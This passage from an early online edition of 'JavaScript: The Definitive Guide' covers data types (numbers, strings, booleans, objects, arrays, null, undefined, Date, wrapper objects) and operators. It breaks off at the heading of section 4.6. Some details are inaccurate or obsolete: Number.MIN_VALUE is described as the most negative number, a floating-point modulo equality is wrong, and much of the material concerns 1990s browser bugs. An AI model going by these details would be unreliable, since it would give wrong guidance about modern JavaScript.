Another feature of JavaScript's lack of typing is that values are conveniently and automatically converted from one type to another. If you attempt to append a number to a string, for example, JavaScript will automatically convert the number to the corresponding string so that it can be appended. We'll see more about data type conversion in Chapter 9, Further Topics in JavaScript.

JavaScript is obviously a simpler language for being untyped. The advantage of typed languages, like C++ and Java, is that they enforce rigorous programming, and therefore make it easier to write, maintain, and reuse long, complex programs. Since most JavaScript programs are shorter "scripts," this rigor is not necessary, and we benefit from the simpler syntax.

Previous | Home | Next
Reserved Words | Book Index | Numbers
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.2 Numbers

JavaScript: The Definitive Guide

Previous Chapter 3
Variables and Data Types 		Next

3.2 Numbers

Numbers are the most basic data type there is, and require very little explanation. As we saw in Chapter 2, Lexical Structure, numeric literals can be integer or floating-point, and integers can be expressed in decimal, octal, or hexadecimal notation. JavaScript differs from programming languages like C and Java in that it does not make a distinction between integer value and floating point values. All numbers in JavaScript are represented as floating-point values. JavaScript represents numbers using the standard 8-byte IEEE floating-point numeric format, which means that it can represent numbers as large as +/-1.7976931348623157x10^308, and numbers as small as +/-2.2250738585072014x10^-308.[2]

[2] This format will be familiar to Java programmers as the format of the double type. It is also the double format used in almost all modern implementations of C and C++.

Arithmetic and Mathematical Functions

JavaScript programs work with numbers using the arithmetic operators that the language provides. These include + for addition, - for subtraction, * for multiplication, and / for division. Full details on these and other arithmetic operators are in Chapter 4, Expressions and Operators.

In addition to these basic arithmetic operations, JavaScript supports more complex mathematical operations through a large number of mathematical functions that are a core part of the language. For convenience, these functions are all stored as properties of a single object named Math, and so we use always use the literal name Math to access them. For example, to compute the sine of the numeric value x, we would write code like this:

sine_of_x = Math.sin(x);
And to compute the square-root of a numeric expression, we might use code like this (note the use of the * operator for multiplication):

hypot = Math.sqrt(x*x + y*y);
See the Math object and subsequent listings in the reference section of this book for full details on all the mathematical functions supported by JavaScript.

Special Numeric Values

There are several special numeric values used by JavaScript. When a floating-point value becomes larger than the largest representable type, the result is a special infinity value, which JavaScript prints as Infinity. Similarly, when a negative value becomes more negative than the most negative representable number, the result is negative infinity, printed as -Infinity. (Internet Explorer 3.0 prints these special infinity values in a less intuitive fashion; this will be fixed.)

Another special JavaScript numeric value is returned when a mathematical operation (such as division by zero) yields an undefined result or an error. In this case, the result is the special Not-a-Number value, printed as NaN. The special Not-a-Number value has special behavior: it does not compare equal to any number, including itself! For this reason, a special function isNaN() is required to test for this value. In Navigator 2.0, the NaN value and the isNaN() do not work correctly on Windows and other platforms. On 2.0 Windows platforms, 0 is returned instead of NaN when a numeric value is undefined. Similarly, NaN does not work in Internet Explorer 3.0, although it will in future versions. In IE 3.0, isNaN() always returns false, and functions return 0 instead of NaN.

In Navigator 3.0 (but not IE 3.0), there are constants defined for each of these special numeric values. These constants are listed in Table 3.1.

Table 3.1: Special Numeric Constants
Constant | Meaning
Number.MAX_VALUE | Largest representable number
Number.MIN_VALUE | Most negative representable number
Number.NaN | Special not-a-number value
Number.POSITIVE_INFINITY | Special value to represent infinity
Number.NEGATIVE_INFINITY | Special value to represent negative infinity

Previous | Home | Next
Variables | Book Index | Strings
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.3 Strings

JavaScript: The Definitive Guide

Previous Chapter 3
Variables and Data Types 		Next

3.3 Strings

A string is a string of letters, digits, punctuation characters, and so on--it is the JavaScript data type for representing text. As we saw in Chapter 2, Lexical Structure, string literals may be included in your programs by enclosing them in matching pairs of single or double quotes.

One of the built-in features of JavaScript is the ability to concatenate strings. If you use the + operator with numbers, it adds them. But if you use this operator on strings, it joins them by appending the second to the first. For example:

msg = "Hello, " + "world";   // produces the string "Hello, world"
greeting = "Welcome to my home page," + " " + name;

To determine the length of a string--the number of characters it contains--you use the length property of the string. If the variable s contains a string, you access its length like this:

s.length
There are a number of methods that you can use to operate on strings. For example, to find out what the last character of a string s is, you could use:

last_char = s.charAt(s.length - 1)
To extract the second, third, and fourth characters from a string s, you would write:

sub = s.substring(1,4);
To find the position of the first letter `a' in a string s, you could use:

i = s.indexOf('a');
There are quite a few other methods you can use to manipulate strings. You'll find full documentation of these methods in the reference section of this book, under the headings "String", "String.charAt", and so on.

When we introduce the object data type below, you'll see that object properties and methods are used in the same way that string properties and methods are used in the examples above. This does not mean that strings are a type of object. In fact, strings are a distinct JavaScript data type. They use object syntax for accessing properties and methods, but they are not themselves objects. We'll see just why this is at the end of this chapter.

Note that JavaScript does not have a char or character data type, like C, C++, and Java do. To represent a single character, you simply use a string that has a length of 1.

Previous | Home | Next
Numbers | Book Index | boolean Values
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.4 boolean Values

JavaScript: The Definitive Guide

Previous Chapter 3
Variables and Data Types 		Next

3.4 boolean Values

The number and string data types have an infinite number of possible values. The boolean data type, on the other hand, has only two. As we saw in Chapter 2, Lexical Structure, the two legal boolean values are the keywords true and false. A boolean value represents a "truth value"--it says whether something is true or not.

boolean values are generally the result of comparisons we make in our JavaScript programs. For example, when we write:

a == 4
we are testing to see if the value of the variable a is equal to the number 4. If it is, then the result of this comparison is the boolean value true. If a is not equal to 4, then the result of the comparison is false. If boolean values are usually generated by comparisons, they are generally used in JavaScript control structures. For example, the if/else statement in JavaScript will perform one action if a boolean value is true and another action if the value is false. Generally, we will combine a comparison that creates a boolean value directly with a statement that uses it. The result looks like this:

if (a == 4)
  b = b + 1;
else
  a = a + 1;
This code checks if a equals 4. If so, it adds 1 to b; otherwise, it adds 1 to a.

Instead of thinking of the two possible boolean values as true and false, it is sometimes convenient to think of them as "on" (true) and "off" (false) or "yes" (true) and "no" (false). Sometimes it is even useful to consider them equivalent to 1 (true) and 0 (false). (In fact, JavaScript does just this and converts true and false to 1 and 0 when necessary.)

C and C++ programmers should note that JavaScript has a distinct boolean data type, unlike C and C++ which simply use integer values to simulate boolean values. Java programmers should note that although JavaScript has a boolean type, it is not nearly as "pure" as the Java boolean data type--JavaScript boolean values are easily converted to and from other data types, and so in practice, the use of boolean values is much more like their use in C and C++ than in Java.

Previous | Home | Next
Strings | Book Index | Functions
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.5 Functions

JavaScript: The Definitive Guide

Previous Chapter 3
Variables and Data Types 		Next

3.5 Functions

A function is a piece of JavaScript code that is defined once in a program and can be executed, or invoked, many times by the program. JavaScript functions can be passed arguments or parameters that specify the value or values that the function is to operate upon, and can return values. Functions are defined in JavaScript with code like the following:

function square(x)
{
  return x*x;
}

Once a function is defined, you can invoke it by following the function's name with a comma-separated list of arguments within parentheses. The following lines are function invocations:

y = square(x);
compute_distance(x1, y1, z1, x2, y2, z2)
click()
y = sin(x);

An unusual feature of JavaScript is that functions are actual data types. In many languages, including Java, functions are a syntactic feature of the language, and can be defined and invoked, but they are not data types. The fact that functions are true data types in JavaScript gives a lot of flexibility to the language. It means that functions can be stored in variables, arrays, and objects, and it means that functions can be passed as arguments to other functions. This can quite often be useful. We'll learn more about defining and invoking functions, and also about using them as data values, in Chapter 6, Functions.

Since functions are data types just like numbers, and strings, they can be assigned to object properties just like other values can. When a function is assigned to a property of an object (described below), it is often referred to as a method of that object. Some special methods of certain objects are automatically invoked by the web browser when the user interacts with the browser (by clicking the mouse, for example). These special methods are called event handlers. We'll see more about methods in Chapter 7, Objects, and about event handlers in Chapter 10, Client-Side Program Structure.

Previous | Home | Next
boolean Values | Book Index | Objects
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.6 Objects

JavaScript: The Definitive Guide

Previous Chapter 3
Variables and Data Types 		Next

3.6 Objects

An object is a collection of named pieces of data. These named pieces of data are usually referred to as properties of the object. (Sometimes they are called "fields" of the object, but this usage can be confusing.) To refer to a property of an object, we refer to the object, and follow this reference with a period, and follow the period with the name of the property. For example, if an object named image has properties named width and height, we can refer to those properties like this:

image.width
image.height
Properties of objects are, in many ways, just like JavaScript variables and can contain any type of data, including arrays, functions, and other objects. Thus, you might see JavaScript code like this:

document.myform.button
which refers to the button property of an object which is itself stored in the myform property of an object named document.

As mentioned above, when a function value is stored in a property of an object, that function is often called a method, and the property name becomes the method name. To invoke a method of an object, use the . syntax to extract the function value from the object, and then use the () syntax to invoke that function. To invoke the write() method of the document object, we use code like this:

document.write("this is a test");

Objects in JavaScript have the ability to serve as associative arrays--that is, they can associate arbitrary data values with arbitrary strings. When objects are used in this way, a different syntax is generally required to access the object's properties: a string containing the name of the desired property is enclosed within square brackets. Using this syntax we could access the properties of the image object mentioned above with code like this:

image["width"]
image["height"]
Associative arrays are a powerful data type, and are useful for a number of programming techniques. We'll learn more about objects in their traditional and associative array usages in Chapter 7, Objects.

Previous | Home | Next
Functions | Book Index | Arrays
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.7 Arrays

JavaScript: The Definitive Guide

Previous Chapter 3
Variables and Data Types 		Next

3.7 Arrays

An array is a collection of data values, just as an object is. While each data value contained in an object has a name, each data value in an array has a number, or index. In JavaScript, arrays are indexed (i.e., individual numbered values are retrieved from the array) by enclosing the index within square brackets after the array name. For example, if an array is named a, and i is an integer, then a[i] is an element of the array. Array indexes begin with zero. Thus a[2] refers to the third element of the array a.

Arrays may contain any type of JavaScript data, including references to other arrays or to objects or functions. So, for example, the JavaScript code:

document.images[1].width
refers to the width property of an object stored in the second element of an array stored in the images property of the document object.

Note that the arrays described here differ from the associative arrays described in the previous section. The "regular" arrays we are discussing are indexed by integers. Associative arrays are indexed by strings. Also note that JavaScript does not support multidimensional arrays, except as arrays of arrays. Finally, because JavaScript is an untyped language, the elements of an array do not all need to be of the same type, as they do in typed languages like Java. We'll learn more about arrays in Chapter 8, Arrays.

Previous | Home | Next
Objects | Book Index | Null
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.8 Null

JavaScript: The Definitive Guide

Previous Chapter 3
Variables and Data Types 		Next

3.8 Null

The JavaScript keyword null is a special value that indicates "no value." Technically speaking, null is a value of object type, so when a variable holds the value null, you know that it does not contain a valid object or array. For that matter, you also know that it does not contain a valid number, string, Boolean or function.

C and C++ programmers should note that null in JavaScript is not the same as 0 as it is in those languages. In certain circumstances, null will be converted to a 0, but the two are not equivalent.

Previous | Home | Next
Arrays | Book Index | Undefined
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.9 Undefined

JavaScript: The Definitive Guide

Previous Chapter 3
Variables and Data Types 		Next

3.9 Undefined

There is another special value occasionally used by JavaScript. This is the "undefined" value returned when you use a variable that doesn't exist, or a variable that has been declared, but never had a value assigned to it, or an object property that doesn't exist.

Unlike the null value, there is no undefined keyword for the undefined value. This can make it hard to write JavaScript code that detects this undefined value. The undefined value is not the same as null, but for most practical purposes, you can treat it as if it is. This is because the undefined value compares equal to null. That is, if we write:

my.prop == null
the comparison will be true both if the my.prop property doesn't exist, or if it does exist but contains the value null.

In Navigator 3.0 and later, you can distinguish between null and the undefined value with the typeof operator (which is discussed in detail in Chapter 4, Expressions and Operators). This operator returns a string that indicates the data type of any value. We said above that null is actually a object value, and when we use typeof on null, it indicates this by returning the string "object":

type = typeof null;                   // returns "object"
However, when we apply typeof to a variable that has had no value assigned (or to an undefined variable or property), it returns the string "undefined":

var new_undefined_variable;
type = typeof new_undefined_variable  // returns "undefined"
The implication of this "undefined" result is interesting. It means that the undefined value is a completely different data type than any other value in JavaScript.

Previous | Home | Next
Null | Book Index | The Date Object
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.10 The Date Object

JavaScript: The Definitive Guide

Previous Chapter 3
Variables and Data Types 		Next

3.10 The Date Object

The sections above have described all of the fundamental data types supported by JavaScript. Dates and times are not one of these fundamental types. But JavaScript does provide a type (or class) of object that represents dates and times, and can be used to manipulate this type of data. A Date object in JavaScript is created with the new operator and the Date() constructor:

now = new Date();   // create an object representing the current date and time
xmas = new Date(96, 11, 25);  // Create a Date object representing Christmas

Methods of the Date object allow you to get and set the various date and time values, and to convert the Date to a string, using either local time or GMT time. For example:

xmas.setYear(xmas.getYear() + 1);    // Change the date to next Christmas
document.write("Today is: " + now.toLocaleString());
In addition, the Date object also defines functions (not methods; they are not invoked through a Date object) to convert a date specified in string or numeric form to an internal millisecond representation that is useful for some kinds of date arithmetic.

You can find full documentation on the Date object and its methods in the reference section of this book. Unfortunately, the Date object is plagued with various bugs in Navigator 2.0. Appendix B, Known Bugs, contains details.

Previous | Home | Next
Undefined | Book Index | Data Type Wrapper Objects
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.11 Data Type Wrapper Objects

JavaScript: The Definitive Guide

Previous Chapter 3
Variables and Data Types 		Next

3.11 Data Type Wrapper Objects

When we introduced strings earlier in this chapter, we pointed out a strange feature of that data type: to operate on strings, we use object notation. For example, a typical operation involving strings might be the following:

s = "These are the times that try people's souls.";
last_word = s.substring(s.lastIndexOf(" ")+1, s.length);
If we didn't know better, it would appear that s was an object, and that we were invoking methods and reading property values of that object.

In Chapter 6, Functions, we'll see something similar: functions also have properties that we can access using object notation. What's going on? Are strings and functions objects, or are they distinct data types? In Navigator 3.0, the typeof operator assures us that strings have a data type "string" and that functions are of type "function" and that neither is of type "object". Why then, do they use object notation?

The truth is that each primitive data type (i.e., the data types that are not objects or arrays) has a corresponding object type defined for it. That is, besides supporting the number, string, boolean and function data types, JavaScript also supports Number, String, Boolean, and Function object types. These object types are "wrappers" around the primitive data types--they contain the same primitive data value, but also define the properties and methods that we use to manipulate that data (or to manipulate strings and functions, at least; the Number and Boolean objects are not as useful as the String and Function objects.)

As an untyped language, JavaScript can very flexibly convert values from one type to another. When we use a string in an "object context", (i.e., when we try to access a property or method of the string) JavaScript internally creates a String wrapper object for the string value. This String object is used in place of the primitive string value; the object has properties and methods defined, and so the use of the primitive value in an object context succeeds. The same is true, of course, for the other primitive types and their corresponding object wrappers; we just don't use the other types in an object context nearly as often as we use strings in that context.

When we use a string in an object context, note that the String object that is created is a transient one--it is used to allow us to access a property or method, and then it is no longer needed and is reclaimed by the system. Suppose s is a string, and we determine the length of the string with a line like this:

len = s.length;
In this case, s remains a string; the original string value is not itself changed. A new transient String object is created, which allows us to access the length property, and the transient object is discarded, with no change to the original value s. If you think that this scheme sounds elegant and bizarrely complex at the same time, you are right. Don't worry, however, the conversion to a transient object is done quite efficiently within JavaScript.

If for some reason we want to use a String object explicitly in our program, we will have to create a non-transient one that will not be automatically discarded by the system. We create String objects just as we create other objects, with the new operator. (The new operator will be introduced in Chapter 4, Expressions and Operators, and we'll learn more about object creation in Chapter 7, Objects.) For example:

s = "hello world";               // a primitive string value
S = new String("Hello World");   // a String object

Once we have created a String object S, what can we do with it? Nothing that we can't do with the corresponding primitive string value. If we use the typeof operator, it will tell us that S is indeed an object, and not a string value, but except for that case, we'll find that we can't distinguish between the a primitive string and the String object. This is for two reasons. First, as we've seen, strings are automatically converted to String objects whenever necessary. But it turns out that the reverse is also true. Whenever we use a String object where a primitive string value is expected, JavaScript will automatically convert the String to a string. So if we use our String object with the + operator, a transient primitive string value will be created so that the string concatenation operation can be performed:

msg = S + '!';

Bear in mind that everything we've said in this section about string values and String objects applies also to the other primitive types and their corresponding Number, Boolean, and Function objects. You can learn more about these object types from their respective entries in the reference section of this book. In Chapter 9, Further Topics in JavaScript we'll see more about this primitive type/object duality, and about automatic data conversion in JavaScript.

Previous | Home | Next
The Date Object | Book Index | Expressions and Operators
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] Expressions and Operators

JavaScript: The Definitive Guide

Previous Chapter 4 Next

4. Expressions and Operators

Contents:
Expressions
Operator Overview
Arithmetic Operators
Comparison Operators
String Operators
Logical Operators
Bitwise Operators
Assignment Operators
Miscellaneous Operators

Expressions and operators are fundamental to most programming languages. This chapter explains how they work in JavaScript. If you are familiar with C, C++, or Java, you'll notice that expressions and operators in JavaScript are very similar, and you'll be able to skim this chapter quickly. If you are not a C, C++, or Java programmer, this chapter will teach you what you need to know about expressions and operators in JavaScript.

4.1 Expressions

An expression is a "phrase" of JavaScript that a JavaScript interpreter can evaluate to produce a value. Simple expressions are constants (e.g., string or numeric literals) or variable names, like these:

1.7                               // a numeric literal
"Oh no!  We're out of coffee!"    // a string literal
true                              // a Boolean literal
null                              // the literal null value
i                                 // the variable i
sum                               // the variable sum

The value of a constant expression is simply the constant itself. The value of a variable expression is the value that the variable refers to.

These expressions are not particularly interesting. More complex (and interesting) expressions can be created by combining simple expressions. For example, we saw that 1.7 is an expression and i is an expression, so the following is also an expression:

i + 1.7
The value of this expression is determined by adding the values of the two simpler expressions. The plus sign in this example is an operator that is used to combine two expressions into a more complex expression. Another operator is - which is used to combine expressions by subtraction. For example:

(i + 1.7) - sum
This expression uses the - operator to subtract the value of the sum variable from the value of our previous expression i + 1.7. JavaScript supports a number of other operators, besides + and -, which we'll learn about in the next section.

Previous | Home | Next
Data Type Wrapper Objects | Book Index | Operator Overview
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.2 Operator Overview

JavaScript: The Definitive Guide

Previous Chapter 4
Expressions and Operators 		Next

4.2 Operator Overview

If you are a C, C++, or Java programmer, then the JavaScript operators will almost all be already familiar to you. Table 4.1 summarizes the operators, and you can refer to this table for reference. In the table, the column labeled P gives the operator precedence, and the column labeled A gives the operator associativity, which can be L (left-to-right) or R (right-to-left).

If you do not already know C, C++, or Java, the sections that follow the table explain how to interpret the table and explain what each of the operators does.

Table 4.1: JavaScript Operators
P | A | Operator | Operand Type(s) | Operation Performed
0 | L | . | object, property | property access
 | L | [] | array, integer | array index
 | L | () | function, args | function call
1 | R | ++ | number | pre-or-post increment (unary)
 | R | -- | number | pre-or-post decrement (unary)
 | R | - | number | unary minus (negation)
 | R | ~ | integer | bitwise complement (unary)
 | R | ! | Boolean | logical complement (unary)
 | R | typeof | any | return data type (unary)
 | R | new | constructor call | create new object (unary)
 | R | void | any | return undefined value (unary)
2 | L | *, /, % | numbers | multiplication, division, remainder
3 | L | +, - | numbers | addition, subtraction
 | L | + | strings | string concatenation
4 | L | << | integers | left shift
 | L | >> | integers | right shift with sign-extension
 | L | >>> | integers | right shift with zero extension
5 | L | <, <= | numbers or strings | less than, less than or equal
 | L | >, >= | numbers or strings | greater than, greater than or equal
6 | L | == | primitive types | equal (have identical values)
 | L | != | primitive types | not equal (have different values)
 | L | == | reference types | equal (refer to same object)
 | L | != | reference types | not equal (refer to different objects)
7 | L | & | integers | bitwise AND
8 | L | ^ | integers | bitwise XOR
9 | L | | | integers | bitwise OR
10 | L | && | Booleans | logical AND
11 | L | || | Booleans | logical OR
12 | R | ?: | Boolean, any, any | conditional (ternary) operator
13 | R | = | variable, any | assignment
 | R | *=, /=, %=, +=, -=, <<=, >>=, >>>=, &=, ^=, |= | variable, any | assignment with operation
14 | L | , | any | multiple evaluation

Number of Operands

In general, there are three types of operators. Most JavaScript operators, like the + operator that we saw in the previous section, are binary operators that combine two expressions into a single, more complex expression. That is, they operate on two operands. JavaScript also supports a number of unary operators, which convert a single expression into a single more complex expression. The - operator in the expression -3 is a unary operator which performs the operation of negation on the operand 3. Finally, JavaScript supports one ternary operator, ?:, which combines the value of three expressions into a single expression.

Type of Operands

When constructing JavaScript expressions, you must pay attention to the data types that are being passed to operators, and to the data types that are returned. Different operators expect their operands' expressions to evaluate to values of a certain data type. For example, it is not possible to multiply strings, so the expression "a" * "b" is not legal in JavaScript. Note, however, that JavaScript tries to convert expressions to the appropriate type whenever possible, so the expression "3" * "5" is legal. Its value is the number 15, not the string "15".

Furthermore, some operators behave differently depending on the type of the operands. Most notably, the + operator adds numeric operands but concatenates string operands. And if passed one string and one number, it converts the number to a string and concatenates the two resulting strings. For example, '1' + 0 yields the string '10'.

Finally, note that operators do not always return the same type as their operands. The comparison operators (less than, equal to, greater than, etc.) take operands of various types, but when comparison expressions are evaluated, they always return a Boolean result that indicates whether the comparison is true or not. For example, the expression a < 3 returns true if the value of variable a is in fact less than 3. As we'll see, the Boolean values returned by comparison operators are used in if statements, while loops, and for loops--JavaScript statements that control the execution of a program based on the results of evaluating expressions that contain comparison operators.

Operator Precedence

In Table 4.1 the column labeled P specifies the precedence of each operator. Operator precedence controls the order in which operations are performed. Operators with a lower number in the P column are performed before those with a higher number. Somewhat confusingly, we say that operators that are performed first (with a lower P number) have higher precedence.

Consider the following expression:

w = x + y*z;
The multiplication operator * has a higher precedence than the addition operator +, so the multiplication is performed before the addition. Furthermore, the assignment operator = has the lowest precedence, and so the the assignment operator = has the lowest assignment is performed after all the operations on the right-hand side are completed. Operator precedence can be overridden with the explicit use of parentheses. To force the addition to be performed first in the above example, we would write:

w = (x + y)*z;
In practice, if you are at all unsure about the precedence of your operators, the simplest thing is to use parentheses to make the evaluation order explicit. The only rules that are important to know are that multiplication and division are performed before addition and subtraction, and that assignment has very low precedence and is always performed last.

Operator Associativity

In Table 4.1 the column labeled A specifies the associativity of the operator. A value of L specifies left-to-right associativity, and a value of R specifies right-to-left associativity. The associativity of an operator specifies the order in which operations of the same precedence are performed. Left-to-right associativity means that operations are performed from left to right. For example:

w = x + y + z;
is the same as:

w = ((x + y) + z);
because the addition operator has left-to-right associativity. On the other hand, the following (almost nonsensical) expressions:

x = ~-~y;
w = x = y = z;
q = a?b:c?d:e?f:g;
are equivalent to:

x = ~(-(~y));
w = (x = (y = z));
q = a?b:(c?d:(e?f:g));
because the unary, assignment, and ternary conditional operators have right-to-left associativity.

Previous | Home | Next
Expressions | Book Index | Arithmetic Operators
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.3 Arithmetic Operators

JavaScript: The Definitive Guide

Previous Chapter 4
Expressions and Operators 		Next

4.3 Arithmetic Operators

Having explained operator precedence, associativity, and other background material, we can start to describe the operators themselves. This section details the arithmetic operators.

Addition (+)

The + operator adds its two numeric operands. If both operands are strings, then it returns a string that is the result of concatenating the second operand onto the first. If either operand is a string, then the other is converted to a string, and the two strings are concatenated. Furthermore, if either operand is an object, then both operands are converted to strings and concatenated.

Subtraction (-)

The - operator subtracts its second operand from its first. Both operands must be numbers. Used as a unary operator, - negates its operand.

Multiplication (*)

The * operator multiplies its two operands, which must both be numbers.

Division (/)

The / operator divides its first operand by its second. Both operands must be numbers. If you are a C programmer, you might expect to get an integer result when you divide one integer by another. In JavaScript, however, all numbers are floating-point, so all divisions have floating-point results: 5/2 evaluates to 2.5, not 2.

Modulo (%)

The % operator computes the first operand modulo the second operand. That is, it returns the remainder when the first operand is divided by the second operand an integer number of times. Both operands must be numbers. For example, 5 % 2 evaluates to 1.

While the modulo operator is typically used with integer operands, it also works for floating-point values. For example, 4.3 % 2.1 == 0.1.

Unary Negation (-)

When - is used as a unary operator, before a single operand, it performs unary negation, i.e., it converts a positive value to an equivalently negative value, and vice versa.

Increment (++)

The ++ operator increments (i.e., adds 1 to) its single operand, which must be a variable, an element of an array, or a property of an object that refers to a numeric value. The precise behavior of this operator depends on its position relative to the operand. When used before the operand, where it is known as the pre-increment operator, it increments the operand and evaluates to the incremented value of that operand. When used after the operand, where it is known as the post-increment operator, it increments its operand, but evaluates to the unincremented value of that operand.

For example, the following code sets both i and j to 2:

i = 1;
j = ++i;
But these lines set i to 2 and j to 1:

i = 1;
j = i++;
This operator, in both its forms, is most commonly used to increment a counter that controls a loop.

Decrement (--)

The -- operator decrements (i.e., subtracts 1 from) its single numeric operand, which must be a variable, an element of an array, or a property of an object. Like the ++ operator, the precise behavior of -- depends on its position relative to the operand. When used before the operand, it decrements and returns the decremented value. When used after the operand, it decrements, but returns the undecremented value.

Previous | Home | Next
Operator Overview | Book Index | Comparison Operators
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.4 Comparison Operators

JavaScript: The Definitive Guide

Previous Chapter 4
Expressions and Operators 		Next

4.4 Comparison Operators

This section describes the JavaScript comparison operators. These are operators that compare values of various types and return a boolean value (true or false) depending on the result of the comparison. As we'll see in Chapter 5, Statements, they are most commonly used in things like if statements and while loops to control the flow of program execution.

Equality (==)

The == operator returns true if its two operands are equal, and returns false if they are not equal. The operands may be of any type, and the definition of "equal" depends on the type.

In JavaScript, numbers, strings, and boolean values are compared by value. This means that two variables are equal only if they contain the same value. For example, two strings are equal only if they each contain exactly the same characters. In this case, there are two separate values involved, and the == operator checks that these two values are identical.

On the other hand, objects and arrays are compared by reference. This means that two variables are equal only if they refer to the same object. Two separate arrays will never be equal, by the definition of the == operator, even if they contain identical elements. For two variables that contain references to objects, arrays, or functions, they are equal only if they refer to the same object, array, or function. If you want to test that two separate objects contain the same properties or that two separate arrays contain the same elements, you'll have to check the properties and elements yourself. (And, if any of the properties or elements are themselves objects or arrays, you'll have to decide which kind of equality you want to test for.)

In Navigator 3.0, functions are compared by reference, just as objects and arrays are. Prior to 3.0, functions may not be used with the == operator.

Usually, if two values have different types, then they are not equal. Because JavaScript automatically converts data types when needed, though, this is not always the case. For example, the expression "1" == 1 evaluates to true in JavaScript. Similarly, and not surprisingly to C or C++ programmers, true == 1 and false == 0 are also both true expressions. In Navigator 2.0, null is equal to 0, but this was a bug was fixed in 3.0. Be careful when comparing values of different types: if you compare a string to a number, and the string cannot be converted to a number, then Navigator 2.0 and 3.0 will produce an error message. Internet Explorer takes the simpler, and probably correct, course and returns false in this case.[1]

[1] Navigator 4.0 behaves as Internet Explorer does when running JavaScript 1.2 code.

Note that the equality operator == is very different from the assignment operator =, although in English, we often read both as "equals". It is important to keep the two operators distinct and to use the correct one in the correct situation. To keep them straight, it may help to read the assignment operator = as "is assigned" or as "gets".

Inequality (!=)

The != operator tests for the exact opposite of the == operator. If two variables are equal to each other, then comparing them with the != operator will return false. On the other hand, comparing two objects that are not equal to each other with != will return true. As we'll see, the ! operator computes the boolean NOT operation. This makes it easy to remember that != stands for "not equal to."[2] See the discussion of the == operator for details on how equality is defined for different data types.

[2] There is one case in which the != operator is not the exact opposite of ==, when a != b is not identical to !(a == b). This occurs with the NaN value (Not-a-Number), which is never equal or inequal to itself. That is, if either operand is NaN, both == and != return false.

Less Than (<)

The < operator evaluates to true if its first operand is less than its second operand; otherwise it evaluates to false. The operands must be numbers or strings. Strings are ordered alphabetically, by character encoding.

Greater Than (>)

The > operator evaluates to true if its first operand is greater than its second operand; otherwise it evaluates to false. The operands must be numbers or strings. Strings are ordered alphabetically, by character encoding.

Less Than or Equal (<=)

The <= operator evaluates to true if its first operand is less than or equal to its second operand; otherwise it evaluates to false. The operands must be numbers or strings. Strings are ordered alphabetically, by character encoding.

Greater Than or Equal (>=)

The >= operator evaluates to true if its first operand is greater than or equal to its second operand; otherwise it evaluates to false. The operands must be numbers or strings. Strings are ordered alphabetically, by character encoding.

Previous | Home | Next
Arithmetic Operators | Book Index | String Operators
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.5 String Operators

JavaScript: The Definitive Guide

Previous Chapter 4
Expressions and Operators 		Next

4.5 String Operators

As we've noted in the previous sections, there are several operators that have special effects when their operands are strings.

The + operator concatenates two string operands. That is, it creates a new string that consists of the first string followed by the second. Thus, for example, the following expression evaluates to the string "hello there":

"hello" + " " + "there"

And the following lines produce the string "22":

a = "2"; b = "2";
c = a + b;

The <, <=, >, and >= operators compare two strings to determine what order they fall in. The comparison uses alphabetical order. Note, however, that this "alphabetical order" is based on the ASCII or Latin-1 (ISO8859-1) character encoding used by JavaScript. In this encoding, all capital letters come before (are "less than") all lowercase letters, which can cause unexpected results. It means, for example, that the following expression evaluates to true:

"Zoo" < "aardvark"

The == and != operators work on strings, but, as we've seen, these operators work for all data types, and they do not have any special behavior when used with strings.

The + operator is a special one--it gives priority to string operands over numeric operands. As noted earlier, if either operand to + is a string (or an object) the the other operand (or both operands) will be converted to strings and concatenated, rather than added. On the other hand, the comparison operators only perform string comparison if both operands are strings. If only one operand is a string, JavaScript attempts to convert it to a number. The following lines illustrate:

1 + 2         // Addition. Result is 3.
"1" + "2"     // Concatenation. Result is "12".
"1" + 2       // Concatenation; 2 is converted to "2". Result is 12.
11 < 3        // Numeric comparison. Result is false.
"11" < "3"    // String comparison. Result is true.
"11" < 3      // Numeric comparison; "11" converted to 11. Result is false.
"eleven" < 3  // Causes error because "eleven" can't be converted to a number.

Finally, it is important to note that when the + operator is used with strings and numbers, it may not be associative. That is, the result may depend on the order in which operations are performed. This can be seen with examples like this:

s = 1 + 2 + "blind mice";        // yields "3 blind mice"
t = "# of blind mice: " + 1 + 2; // yields "# of blind mice: 12"
The reason for this surprising difference in behavior is that the + operator works from left to right, unless parentheses change this order. Thus the two lines above are equivalent to these:

s = (1 + 2) + "blind mice";          // 1st + yields number; 2nd yields string
t = ("# of blind mice: " + 1) + 2;   // both operations yield strings

Previous | Home | Next
Comparison Operators | Book Index | Logical Operators
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.6 Logical Operators

JavaScript: The Definitive Guide

Previous Chapter 4
Expressions and Operators 		Next

4.6 Logical Operators

